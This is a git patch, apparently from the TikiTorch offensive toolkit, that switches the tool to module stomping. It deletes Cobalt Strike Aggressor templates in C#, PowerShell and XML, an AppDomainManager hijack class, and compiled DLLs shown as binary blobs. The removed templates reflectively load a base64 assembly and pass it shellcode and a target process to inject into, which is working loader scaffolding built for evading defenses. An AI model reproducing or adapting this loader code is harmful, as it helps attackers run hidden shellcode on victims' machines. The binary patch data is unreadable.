From f0eabbfd628ac3d50a9944424a4d9ac678129542 Mon Sep 17 00:00:00 2001 From: Rasta Mouse Date: Thu, 21 Oct 2021 10:38:15 +0100 Subject: [PATCH] Module Stomping --- .gitignore | 72 ++- Aggressor/Templates/TikiCompiler | 28 - Aggressor/Templates/TikiCompiler.txt | 32 - Aggressor/Templates/TikiManifest.cs | 27 - Aggressor/Templates/TikiSpawn.ps1 | 6 - Aggressor/Templates/TikiSpawn.xml | 47 -- Aggressor/Templates/TikiSpawnWOppid.dll | Bin 26112 -> 0 bytes Aggressor/Templates/TikiSpawnWppid.dll | Bin 26624 -> 0 bytes Aggressor/TikiTorch.cna | 587 ------------------- Get-CompressedShellcode.ps1 | 18 - README.md | 57 +- TikiCpl/App.config | 6 - TikiCpl/FodyWeavers.xml | 4 - TikiCpl/FodyWeavers.xsd | 111 ---- TikiCpl/Program.cs | 75 --- TikiCpl/Properties/AssemblyInfo.cs | 36 -- TikiCpl/Resource.txt | 1 - TikiCpl/TikiCpl.csproj | 89 --- TikiCpl/packages.config | 6 - TikiLoader/Data.cs | 190 ++++++ TikiLoader/Delegates.cs | 119 ++++ TikiLoader/Enums.cs | 87 --- TikiLoader/Generic.cs | 414 +++++++------ TikiLoader/Hollower.cs | 313 ---------- TikiLoader/Imports.cs | 113 ---- TikiLoader/Injector.cs | 143 ----- TikiLoader/Native.cs | 108 ++++ TikiLoader/Stomper.cs | 306 ++++++++++ TikiLoader/Structs.cs | 154 ----- TikiLoader/TikiLoader.csproj | 13 +- TikiLoader/Win32.cs | 52 ++ TikiService/App.config | 10 - TikiService/FodyWeavers.xml | 3 - TikiService/FodyWeavers.xsd | 111 ---- TikiService/Program.cs | 25 - TikiService/Properties/AssemblyInfo.cs | 36 -- TikiService/TikiService.Designer.cs | 37 -- TikiService/TikiService.cs | 37 -- TikiService/TikiService.csproj | 84 --- TikiService/packages.config | 5 - TikiSpawn/App.config | 6 - TikiSpawn/FodyWeavers.xml | 4 - TikiSpawn/FodyWeavers.xsd | 111 ---- TikiSpawn/Program.cs | 91 ++- TikiSpawn/Properties/AssemblyInfo.cs | 21 +- TikiSpawn/TikiSpawn.csproj | 135 ++--- TikiSpawn/packages.config | 5 - TikiSpawnAs/App.config | 6 - TikiSpawnAs/FodyWeavers.xml | 4 - TikiSpawnAs/FodyWeavers.xsd | 111 ---- TikiSpawnAs/Program.cs | 53 -- TikiSpawnAs/Properties/AssemblyInfo.cs | 36 -- TikiSpawnAs/TikiSpawnAs.csproj | 79 --- TikiSpawnAs/packages.config | 6 - TikiSpawnElevated/App.config | 6 - TikiSpawnElevated/FodyWeavers.xml | 4 - TikiSpawnElevated/FodyWeavers.xsd | 111 ---- TikiSpawnElevated/Program.cs | 52 -- TikiSpawnElevated/Properties/AssemblyInfo.cs | 36 -- TikiSpawnElevated/TikiSpawnElevated.csproj | 79 --- TikiSpawnElevated/packages.config | 6 - TikiThings/FodyWeavers.xml | 4 - TikiThings/FodyWeavers.xsd | 111 ---- TikiThings/Program.cs | 139 ----- TikiThings/Properties/AssemblyInfo.cs | 36 -- TikiThings/TikiThings.csproj | 81 --- TikiThings/packages.config | 6 - TikiTorch.sln | 110 +--- TikiVader/ActiveDirectory.cs | 13 - TikiVader/Host.cs | 37 -- TikiVader/Network.cs | 14 - TikiVader/Properties/AssemblyInfo.cs | 36 -- TikiVader/TikiVader.csproj | 52 -- modules.png | Bin 0 -> 58411 bytes notepad.png | Bin 0 -> 44470 bytes thread.png | Bin 0 -> 33931 bytes 76 files changed, 1238 insertions(+), 3925 deletions(-) delete mode 100644 Aggressor/Templates/TikiCompiler delete mode 100644 Aggressor/Templates/TikiCompiler.txt delete mode 100644 Aggressor/Templates/TikiManifest.cs delete mode 100644 Aggressor/Templates/TikiSpawn.ps1 delete mode 100644 Aggressor/Templates/TikiSpawn.xml delete mode 100644 Aggressor/Templates/TikiSpawnWOppid.dll delete mode 100644 Aggressor/Templates/TikiSpawnWppid.dll delete mode 100644 Aggressor/TikiTorch.cna delete mode 100644 Get-CompressedShellcode.ps1 delete mode 100644 TikiCpl/App.config delete mode 100644 TikiCpl/FodyWeavers.xml delete mode 100644 TikiCpl/FodyWeavers.xsd delete mode 100644 TikiCpl/Program.cs delete mode 100644 TikiCpl/Properties/AssemblyInfo.cs delete mode 100644 TikiCpl/Resource.txt delete mode 100644 TikiCpl/TikiCpl.csproj delete mode 100644 TikiCpl/packages.config create mode 100644 TikiLoader/Data.cs create mode 100644 TikiLoader/Delegates.cs delete mode 100644 TikiLoader/Enums.cs delete mode 100644 TikiLoader/Hollower.cs delete mode 100644 TikiLoader/Imports.cs delete mode 100644 TikiLoader/Injector.cs create mode 100644 TikiLoader/Native.cs create mode 100644 TikiLoader/Stomper.cs delete mode 100644 TikiLoader/Structs.cs create mode 100644 TikiLoader/Win32.cs delete mode 100644 TikiService/App.config delete mode 100644 TikiService/FodyWeavers.xml delete mode 100644 TikiService/FodyWeavers.xsd delete mode 100644 TikiService/Program.cs delete mode 100644 TikiService/Properties/AssemblyInfo.cs delete mode 100644 TikiService/TikiService.Designer.cs delete mode 100644 TikiService/TikiService.cs delete mode 100644 TikiService/TikiService.csproj delete mode 100644 TikiService/packages.config delete mode 100644 TikiSpawn/App.config delete mode 100644 TikiSpawn/FodyWeavers.xml delete mode 100644 TikiSpawn/FodyWeavers.xsd delete mode 100644 TikiSpawn/packages.config delete mode 100644 TikiSpawnAs/App.config delete mode 100644 TikiSpawnAs/FodyWeavers.xml delete mode 100644 TikiSpawnAs/FodyWeavers.xsd delete mode 100644 TikiSpawnAs/Program.cs delete mode 100644 TikiSpawnAs/Properties/AssemblyInfo.cs delete mode 100644 TikiSpawnAs/TikiSpawnAs.csproj delete mode 100644 TikiSpawnAs/packages.config delete mode 100644 TikiSpawnElevated/App.config delete mode 100644 TikiSpawnElevated/FodyWeavers.xml delete mode 100644 TikiSpawnElevated/FodyWeavers.xsd delete mode 100644 TikiSpawnElevated/Program.cs delete mode 100644 TikiSpawnElevated/Properties/AssemblyInfo.cs delete mode 100644 TikiSpawnElevated/TikiSpawnElevated.csproj delete mode 100644 TikiSpawnElevated/packages.config delete mode 100644 TikiThings/FodyWeavers.xml delete mode 100644 TikiThings/FodyWeavers.xsd delete mode 100644 TikiThings/Program.cs delete mode 100644 TikiThings/Properties/AssemblyInfo.cs delete mode 100644 TikiThings/TikiThings.csproj delete mode 100644 TikiThings/packages.config delete mode 100644 TikiVader/ActiveDirectory.cs delete mode 100644 TikiVader/Host.cs delete mode 100644 TikiVader/Network.cs delete mode 100644 TikiVader/Properties/AssemblyInfo.cs delete mode 100644 TikiVader/TikiVader.csproj create mode 100644 modules.png create mode 100644 notepad.png create mode 100644 thread.png diff --git a/.gitignore b/.gitignore index 4d13c54..26ab8f4 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,9 @@ # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs +# Mono auto generated files +mono_crash.* + # Build results [Dd]ebug/ [Dd]ebugPublic/ @@ -20,10 +23,14 @@ [Rr]eleases/ x64/ x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ +[Ll]ogs/ # Visual Studio 2015/2017 cache/options directory .vs/ @@ -37,9 +44,10 @@ Generated\ Files/ [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* -# NUNIT +# NUnit *.VisualState.xml TestResult.xml +nunit-*.xml # Build Results of an ATL Project [Dd]ebugPS/ @@ -54,6 +62,9 @@ project.lock.json project.fragment.lock.json artifacts/ +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + # StyleCop StyleCopReport.xml @@ -79,6 +90,7 @@ StyleCopReport.xml *.tmp_proj *_wpftmp.csproj *.log +*.tlog *.vspscc *.vssscc .builds @@ -120,9 +132,6 @@ _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user -# JustCode is a .NET coding add-in -.JustCode - # TeamCity is a build add-in _TeamCity* @@ -133,6 +142,11 @@ _TeamCity* .axoCover/* !.axoCover/settings.json +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + # Visual Studio code coverage results *.coverage *.coveragexml @@ -180,6 +194,8 @@ PublishScripts/ # NuGet Packages *.nupkg +# NuGet Symbol Packages +*.snupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. @@ -190,6 +206,9 @@ PublishScripts/ *.nuget.props *.nuget.targets +# Nuget personal access tokens and Credentials +# nuget.config + # Microsoft Azure Build Output csx/ *.build.csdef @@ -204,12 +223,14 @@ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx +*.appxbundle +*.appxupload # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache -!*.[Cc]ache/ +!?*.[Cc]ache/ # Others ClientBin/ @@ -253,6 +274,9 @@ ServiceFabricBackup/ *.bim.layout *.bim_*.settings *.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl # Microsoft Fakes FakesAssemblies/ @@ -288,10 +312,6 @@ paket-files/ # FAKE - F# Make .fake/ -# JetBrains Rider -.idea/ -*.sln.iml - # CodeRush personal settings .cr/personal @@ -332,3 +352,37 @@ ASALocalRun/ # Local History for Visual Studio .localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd + +# VS Code files for those working on multiple tools +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +*.code-workspace + +# Local History for Visual Studio Code +.history/ + +# Windows Installer files from build outputs +*.cab +*.msi +*.msix +*.msm +*.msp + +# JetBrains Rider +.idea/ +*.sln.iml diff --git a/Aggressor/Templates/TikiCompiler b/Aggressor/Templates/TikiCompiler deleted file mode 100644 index aa37066..0000000 --- a/Aggressor/Templates/TikiCompiler +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using System.Reflection; -using System.Workflow.Activities; -using System.Runtime.InteropServices; - -public class Program : SequentialWorkflowActivity { - - const string binary = @""; - const string shellcode = ""; - const string dll = ""; - - public Program() { - TikiSpawn(binary, Convert.FromBase64String(dll), shellcode); - } - - private static void TikiSpawn(string binary, byte[] dll, string shellcode) { - var asm = Assembly.Load(dll); - var type = asm.GetType("TikiSpawn"); - var instance = Activator.CreateInstance(type); - - type.InvokeMember("Flame", - BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public, - null, - instance, - new object[] { binary, shellcode }); - } - -} \ No newline at end of file diff --git a/Aggressor/Templates/TikiCompiler.txt b/Aggressor/Templates/TikiCompiler.txt deleted file mode 100644 index dc198c1..0000000 --- a/Aggressor/Templates/TikiCompiler.txt +++ /dev/null @@ -1,32 +0,0 @@ - - - - c:\windows\temp\tikicompiler - - - - - - - - false - true - false - - - - - false - -1 - - false - false - - false - CSharp - - - - - - \ No newline at end of file diff --git a/Aggressor/Templates/TikiManifest.cs b/Aggressor/Templates/TikiManifest.cs deleted file mode 100644 index 95ffcf0..0000000 --- a/Aggressor/Templates/TikiManifest.cs +++ /dev/null @@ -1,27 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; -[ComVisible(true)] -[Guid("0ba9a3e0-3ecf-487f-9aae-c28e5af6dce8")] -[ClassInterface(ClassInterfaceType.None)] -public sealed class TikiTorchDomainManager : AppDomainManager -{ - public override void InitializeNewDomain(AppDomainSetup appDomainInfo) - { - Program.Run(); - return; - } -} -public class Program -{ - static string dll = ""; - static string binary = @""; - static string shellcode = ""; - public static void Run() - { - var asm = Assembly.Load(Convert.FromBase64String(dll)); - var type = asm.GetType("TikiSpawn"); - var instance = Activator.CreateInstance(type); - type.InvokeMember("Flame", BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public, null, instance, new object[] { binary, shellcode }); - } -} \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawn.ps1 b/Aggressor/Templates/TikiSpawn.ps1 deleted file mode 100644 index c21a387..0000000 --- a/Aggressor/Templates/TikiSpawn.ps1 +++ /dev/null @@ -1,6 +0,0 @@ -$binary = "" -$dll = "" -$shellcode = "" - -[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($dll)) -[TikiSpawn]::Flame($binary, $shellcode) \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawn.xml b/Aggressor/Templates/TikiSpawn.xml deleted file mode 100644 index 9bd4422..0000000 --- a/Aggressor/Templates/TikiSpawn.xml +++ /dev/null @@ -1,47 +0,0 @@ - - - - - - - - - - - - - \ No newline at end of file diff --git a/Aggressor/Templates/TikiSpawnWOppid.dll b/Aggressor/Templates/TikiSpawnWOppid.dll deleted file mode 100644 index e6fd9eaca3cd140f6bcaa2027df2c0fec456ddf8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 26112 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 